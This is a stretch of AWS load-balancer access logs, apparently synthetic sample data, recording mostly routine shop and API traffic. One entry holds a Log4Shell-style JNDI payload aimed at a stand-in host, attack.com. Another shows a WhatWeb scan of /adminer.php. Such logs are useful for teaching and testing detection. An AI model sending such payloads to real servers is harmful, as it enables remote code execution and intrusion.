/cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc30-ab5f9fee960342fb848fe4e5" "prod-web-alb.example.com" "-" 2 2024-11-01T02:36:16.342755Z "forward" "-" "-" "10.0.19.64:443" "200" "-" "-" -https 2024-11-01T02:36:16.758423Z staging-alb 50.63.1.161:39542 193.226.204.54:80 0.145600 0.485523 0.127946 404 404 451 9067 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc30-76ecab780820482c9d6512b6" "staging-alb.example.com" "-" 1 2024-11-01T02:36:16.758423Z "forward" "-" "-" "193.226.204.54:80" "404" "-" "-" -https 2024-11-01T02:36:17.972839Z prod-api-alb 193.27.228.186:23083 10.0.91.213:443 0.098552 0.471772 0.033828 404 404 274 4281 "GET /?x=${jndi:ldap://attack.com/exp} HTTP/1.1" "" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc31-64318bf425764c559da1ef8b" "-" "-" 6 2024-11-01T02:36:17.972839Z "forward" "-" "-" "10.0.91.213:443" "404" "-" "-" -https 2024-11-01T02:36:19.096864Z staging-alb 236.147.117.20:34162 33.71.174.211:443 0.063460 0.409372 0.143211 200 200 473 3733 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc33-96ec95574d5a4b4b995670d5" "staging-alb.example.com" "-" 5 2024-11-01T02:36:19.096864Z "forward" "-" "-" "33.71.174.211:443" "200" "-" "-" -https 2024-11-01T02:36:20.075190Z prod-web-alb 63.212.238.253:53813 10.0.203.80:443 0.043500 0.125367 0.002053 302 302 476 11029 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc34-46dd6164251e486496625535" "prod-web-alb.example.com" "-" 6 2024-11-01T02:36:20.075190Z "forward" "-" "-" "10.0.203.80:443" "302" "-" "-" -https 2024-11-01T02:36:20.398637Z prod-api-alb 202.146.75.92:39886 10.0.72.49:443 0.095090 0.022659 0.089016 200 200 417 5158 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc34-b732d96238034727acf54afa" "prod-api-alb.example.com" "-" 0 2024-11-01T02:36:20.398637Z "forward" "-" "-" "10.0.72.49:443" "200" "-" "-" -http 2024-11-01T02:36:21.701802Z staging-alb 118.96.85.177:33867 36.223.38.25:80 0.118574 0.601300 0.003848 302 302 652 854 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc35-ac70ad6309274fcdaf12bf80" "staging-alb.example.com" "-" 1 2024-11-01T02:36:21.701802Z "forward" "-" "-" "36.223.38.25:80" "302" "-" "-" -https 2024-11-01T02:36:23.104580Z prod-api-alb 152.118.158.190:56642 10.0.177.151:443 0.024878 0.174454 0.039152 301 301 183 3505 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc37-11e29788187e404eb6cf2789" "prod-api-alb.example.com" "-" 6 2024-11-01T02:36:23.104580Z "forward" "-" "-" "10.0.177.151:443" "301" "-" "-" -https 2024-11-01T02:36:24.555834Z prod-web-alb 212.124.103.145:24564 10.0.162.10:443 0.027764 0.477086 0.032936 200 200 86 13570 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc38-88b3deffdf6d4621b81fc533" "prod-web-alb.example.com" "-" 7 2024-11-01T02:36:24.555834Z "forward" "-" "-" "10.0.162.10:443" "200" "-" "-" -https 2024-11-01T02:36:25.547737Z prod-web-alb 197.114.121.144:50096 10.0.80.117:443 0.005397 0.106470 0.094006 200 200 530 633 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc39-6e0f223d28fb44d1a0952e6e" "prod-web-alb.example.com" "-" 6 2024-11-01T02:36:25.547737Z "forward" "-" "-" "10.0.80.117:443" "200" "-" "-" -https 2024-11-01T02:36:26.866516Z staging-alb 205.38.83.241:17978 244.121.152.125:443 0.113219 0.276911 0.067832 200 200 675 540 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc3a-4e5b6b11b79742029e24e171" "staging-alb.example.com" "-" 5 2024-11-01T02:36:26.866516Z "forward" "-" "-" "244.121.152.125:443" "200" "-" "-" -https 2024-11-01T02:36:28.676917Z staging-alb 189.217.11.112:54763 226.205.86.199:443 0.145428 0.002692 0.089874 200 200 681 14853 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc3c-f0d2f43f825c43af8586100c" "staging-alb.example.com" "-" 4 2024-11-01T02:36:28.676917Z "forward" "-" "-" "226.205.86.199:443" "200" "-" "-" -https 2024-11-01T02:36:28.935922Z prod-web-alb 112.210.224.162:52199 10.0.73.129:443 0.065943 0.159739 0.011584 200 200 922 5372 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc3c-d7853097f8b24eca8195ecd6" "prod-web-alb.example.com" "-" 4 2024-11-01T02:36:28.935922Z "forward" "-" "-" "10.0.73.129:443" "200" "-" "-" -https 2024-11-01T02:36:30.169598Z prod-api-alb 72.198.115.241:58010 10.0.175.45:443 0.091753 0.299716 0.026670 301 301 203 4767 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc3e-6b2174121ab24d9abb610751" "prod-api-alb.example.com" "-" 6 2024-11-01T02:36:30.169598Z "forward" "-" "-" "10.0.175.45:443" "301" "-" "-" -https 2024-11-01T02:36:31.166895Z prod-api-alb 176.40.183.19:48628 10.0.52.88:443 0.028779 0.183459 0.009168 200 200 790 303 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc3f-93ac974327a54c3993acec8e" "prod-api-alb.example.com" "-" 3 2024-11-01T02:36:31.166895Z "forward" "-" "-" "10.0.52.88:443" "200" "-" "-" -https 2024-11-01T02:36:31.457851Z prod-api-alb 109.22.126.56:53393 10.0.180.22:443 0.011587 0.195034 0.021299 200 200 793 3141 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc3f-646c0194f2184742852fdcbd" "prod-api-alb.example.com" "-" 6 2024-11-01T02:36:31.457851Z "forward" "-" "-" "10.0.180.22:443" "200" "-" "-" -https 2024-11-01T02:36:33.117677Z prod-api-alb 135.159.0.9:15863 10.0.194.189:443 0.086032 0.426776 0.094974 404 404 207 694 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc41-9ebc2905ddce4aa7b8db48c5" "prod-api-alb.example.com" "-" 9 2024-11-01T02:36:33.117677Z "forward" "-" "-" "10.0.194.189:443" "404" "-" "-" -https 2024-11-01T02:36:34.737350Z prod-api-alb 223.164.183.218:53512 10.0.162.124:443 0.015105 0.101896 0.028987 200 200 911 2474 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc42-4996cca921ea45719483ced6" "prod-api-alb.example.com" "-" 4 2024-11-01T02:36:34.737350Z "forward" "-" "-" "10.0.162.124:443" "200" "-" "-" -http 2024-11-01T02:36:36.270819Z staging-alb 167.227.189.47:45376 247.182.221.250:80 0.094245 0.340971 0.043789 301 301 407 3211 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc44-b9310ee4bc1c4336a51e9721" "staging-alb.example.com" "-" 5 2024-11-01T02:36:36.270819Z "forward" "-" "-" "247.182.221.250:80" "301" "-" "-" -https 2024-11-01T02:36:38.008197Z prod-api-alb 115.57.72.242:64241 10.0.248.191:443 0.096875 0.059948 0.014283 200 200 56 7646 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc46-7d267bd731cf490e955e0748" "prod-api-alb.example.com" "-" 2 2024-11-01T02:36:38.008197Z "forward" "-" "-" "10.0.248.191:443" "200" "-" "-" -https 2024-11-01T02:36:39.827747Z prod-api-alb 144.60.35.179:43294 10.0.228.80:443 0.012970 0.311846 0.060279 302 302 960 8593 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc47-205176d075f74f9f95697053" "prod-api-alb.example.com" "-" 2 2024-11-01T02:36:39.827747Z "forward" "-" "-" "10.0.228.80:443" "302" "-" "-" -https 2024-11-01T02:36:40.984500Z prod-api-alb 64.88.126.192:42353 10.0.138.252:443 0.061291 0.215723 0.078336 200 200 704 6867 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc48-315e098a0f4144f3a1391064" "prod-api-alb.example.com" "-" 0 2024-11-01T02:36:40.984500Z "forward" "-" "-" "10.0.138.252:443" "200" "-" "-" -http 2024-11-01T02:36:42.445801Z staging-alb 71.103.158.87:24115 90.163.125.234:8080 0.034604 0.108276 0.041210 200 200 712 10542 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc4a-da400d6260cd4fcfbd4a6d2f" "staging-alb.example.com" "-" 0 2024-11-01T02:36:42.445801Z "forward" "-" "-" "90.163.125.234:8080" "200" "-" "-" -https 2024-11-01T02:36:43.767183Z prod-web-alb 182.17.200.197:10783 10.0.188.178:443 0.051343 0.084678 0.052357 200 200 571 11570 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc4b-08a884239bfb4652a84d799b" "prod-web-alb.example.com" "-" 6 2024-11-01T02:36:43.767183Z "forward" "-" "-" "10.0.188.178:443" "200" "-" "-" -https 2024-11-01T02:36:44.930504Z prod-web-alb 45.155.205.105:38900 10.0.162.25:443 0.078641 0.106140 0.042029 401 401 729 7271 "POST /adminer.php HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc4c-43ad2c8c48d34477895245d7" "-" "-" 2 2024-11-01T02:36:44.930504Z "forward" "-" "-" "10.0.162.25:443" "401" "-" "-" -http 2024-11-01T02:36:46.105325Z staging-alb 151.233.45.16:33055 130.95.101.214:80 0.090572 0.409900 0.044722 302 302 776 3855 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc4e-3d485ba9e15647bcaa193567" "staging-alb.example.com" "-" 1 2024-11-01T02:36:46.105325Z "forward" "-" "-" "130.95.101.214:80" "302" "-" "-" -https 2024-11-01T02:36:47.965955Z prod-web-alb 11.219.209.224:14300 10.0.16.127:443 0.015681 0.346408 0.005100 302 302 833 5361 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc4f-368cf024591b45f9aa16342d" "prod-web-alb.example.com" "-" 3 2024-11-01T02:36:47.965955Z "forward" "-" "-" "10.0.16.127:443" "302" "-" "-" -https 2024-11-01T02:36:48.206795Z prod-api-alb 244.77.53.88:41171 10.0.154.125:443 0.057843 0.021272 0.099265 200 200 294 5050 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc50-1118d9dc66cb4b31992ec2d2" "prod-api-alb.example.com" "-" 7 2024-11-01T02:36:48.206795Z "forward" "-" "-" "10.0.154.125:443" "200" "-" "-" -http 2024-11-01T02:36:48.921919Z staging-alb 105.192.159.143:49837 82.23.248.115:80 0.141240 0.217056 0.016663 200 200 660 4795 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc50-113c69d756d04266996105cc" "staging-alb.example.com" "-" 8 2024-11-01T02:36:48.921919Z "forward" "-" "-" "82.23.248.115:80" "200" "-" "-" -https 2024-11-01T02:36:49.118296Z prod-api-alb 238.237.232.175:38223 10.0.89.238:443 0.036743 0.387894 0.017328 301 301 36 7862 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc51-629048a431c84ba7ac3f4336" "prod-api-alb.example.com" "-" 7 2024-11-01T02:36:49.118296Z "forward" "-" "-" "10.0.89.238:443" "301" "-" "-" -https 2024-11-01T02:36:49.479775Z prod-api-alb 219.7.252.26:63465 10.0.191.64:443 0.017606 0.186116 0.008321 200 200 905 7305 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc51-e853d246aa96410099b55648" "prod-api-alb.example.com" "-" 7 2024-11-01T02:36:49.479775Z "forward" "-" "-" "10.0.191.64:443" "200" "-" "-" -https 2024-11-01T02:36:50.078618Z prod-web-alb 234.10.16.35:39847 10.0.71.105:443 0.077884 0.272400 0.027747 200 200 246 541 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc52-7a16f0728f4544048ff7944d" "-" "-" 3 2024-11-01T02:36:50.078618Z "forward" "-" "-" "10.0.71.105:443" "200" "-" "-" -https 2024-11-01T02:36:51.001897Z prod-api-alb 204.169.81.44:60795 10.0.156.72:443 0.022700 0.482257 0.048846 200 200 886 2736 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc53-478aaa291ee0459a9e607894" "prod-api-alb.example.com" "-" 3 2024-11-01T02:36:51.001897Z "forward" "-" "-" "10.0.156.72:443" "200" "-" "-" -https 2024-11-01T02:36:52.832914Z staging-alb 95.69.65.47:46845 162.62.216.14:80 0.132230 0.130276 0.100662 200 200 205 11262 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc54-9ae346694e1747bd9ef989c7" "staging-alb.example.com" "-" 4 2024-11-01T02:36:52.832914Z "forward" "-" "-" "162.62.216.14:80" "200" "-" "-" -https 2024-11-01T02:36:54.525718Z prod-api-alb 163.85.209.108:62044 10.0.34.123:443 0.019428 0.406505 0.048297 200 200 17 13762 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc56-0c8cef0c41734b5d9749a1e6" "prod-api-alb.example.com" "-" 6 2024-11-01T02:36:54.525718Z "forward" "-" "-" "10.0.34.123:443" "200" "-" "-" -https 2024-11-01T02:36:55.065608Z prod-api-alb 239.62.181.228:49976 10.0.10.15:443 0.068481 0.249170 0.060697 301 301 26 5397 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc57-e402bd88d24e4f238d711e78" "prod-api-alb.example.com" "-" 5 2024-11-01T02:36:55.065608Z "forward" "-" "-" "10.0.10.15:443" "301" "-" "-" -https 2024-11-01T02:36:55.466853Z prod-api-alb 103.207.39.187:58564 10.0.60.8:443 0.073615 0.438699 0.074027 200 200 964 4984 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc57-d32dfeec6f204e4cafabb32e" "prod-api-alb.example.com" "-" 2 2024-11-01T02:36:55.466853Z "forward" "-" "-" "10.0.60.8:443" "200" "-" "-" -https 2024-11-01T02:36:57.363780Z prod-web-alb 216.120.90.83:40089 10.0.134.217:443 0.012669 0.116612 0.006252 200 200 592 6252 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc59-d5286e03b3c74465a0326c77" "prod-web-alb.example.com" "-" 10 2024-11-01T02:36:57.363780Z "forward" "-" "-" "10.0.134.217:443" "200" "-" "-" -https 2024-11-01T02:36:58.415296Z prod-web-alb 193.123.14.203:15332 10.0.255.152:443 0.037688 0.043593 0.067692 301 301 273 1002 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc5a-1e2069853ea44b3db2114da4" "prod-web-alb.example.com" "-" 6 2024-11-01T02:36:58.415296Z "forward" "-" "-" "10.0.255.152:443" "301" "-" "-" -http 2024-11-01T02:36:58.842195Z staging-alb 241.105.244.212:41166 80.245.253.182:443 0.017829 0.216025 0.103476 200 200 109 1354 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc5a-3ae850353242473bb5fcd006" "staging-alb.example.com" "-" 4 2024-11-01T02:36:58.842195Z "forward" "-" "-" "80.245.253.182:443" "200" "-" "-" -https 2024-11-01T02:37:00.123113Z staging-alb 89.36.118.39:42523 180.31.25.211:8080 0.016738 0.400681 0.112370 404 404 676 2484 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc5c-83dc408166414f88950b676c" "staging-alb.example.com" "-" 7 2024-11-01T02:37:00.123113Z "forward" "-" "-" "180.31.25.211:8080" "404" "-" "-" -https 2024-11-01T02:37:00.652596Z prod-api-alb 252.218.238.2:18737 10.0.224.235:443 0.051943 0.250924 0.088372 200 200 985 2359 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc5c-c71daa9d5d6c434488d51c72" "prod-api-alb.example.com" "-" 10 2024-11-01T02:37:00.652596Z "forward" "-" "-" "10.0.224.235:443" "200" "-" "-" -http 2024-11-01T02:37:01.912030Z staging-alb 16.160.188.124:48956 102.215.104.190:8080 0.020132 0.454068 0.110241 302 302 505 8254 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc5d-0975f8c16ca14316932a86ca" "staging-alb.example.com" "-" 4 2024-11-01T02:37:01.912030Z "forward" "-" "-" "102.215.104.190:8080" "302" "-" "-" -https 2024-11-01T02:37:02.335871Z prod-web-alb 162.53.200.237:16392 10.0.191.229:443 0.046151 0.288912 0.070564 200 200 98 8644 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc5e-78940d5b80984447bfa820c3" "prod-web-alb.example.com" "-" 4 2024-11-01T02:37:02.335871Z "forward" "-" "-" "10.0.191.229:443" "200" "-" "-" -https 2024-11-01T02:37:03.316784Z staging-alb 133.14.16.25:33079 92.194.254.97:8080 0.031923 0.720862 0.100796 200 200 881 5637 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc5f-2d2e912981e94d5faca92af1" "staging-alb.example.com" "-" 3 2024-11-01T02:37:03.316784Z "forward" "-" "-" "92.194.254.97:8080" "200" "-" "-" -https 2024-11-01T02:37:04.285487Z prod-web-alb 95.21.128.17:10932 10.0.164.69:443 0.013361 0.157072 0.049421 200 200 677 8923 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc60-0aa3b641415442b28b57566f" "prod-web-alb.example.com" "-" 7 2024-11-01T02:37:04.285487Z "forward" "-" "-" "10.0.164.69:443" "200" "-" "-" -https 2024-11-01T02:37:06.024351Z prod-api-alb 251.160.31.193:28620 10.0.123.61:443 0.022900 0.273921 0.076453 302 302 289 10557 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc62-72c81b65c551449abde80ef1" "-" "-" 8 2024-11-01T02:37:06.024351Z "forward" "-" "-" "10.0.123.61:443" "302" "-" "-" -https 2024-11-01T02:37:06.288058Z prod-web-alb 68.100.124.72:46761 10.0.167.106:443 0.022591 0.265345 0.021791 404 404 379 1982 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc62-2cd41090caa849eab47245b4" "prod-web-alb.example.com" "-" 10 2024-11-01T02:37:06.288058Z "forward" "-" "-" "10.0.167.106:443" "404" "-" "-" -https 2024-11-01T02:37:06.598464Z staging-alb 121.127.180.67:42781 23.35.150.207:80 0.090617 0.717830 0.042103 302 302 315 7880 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 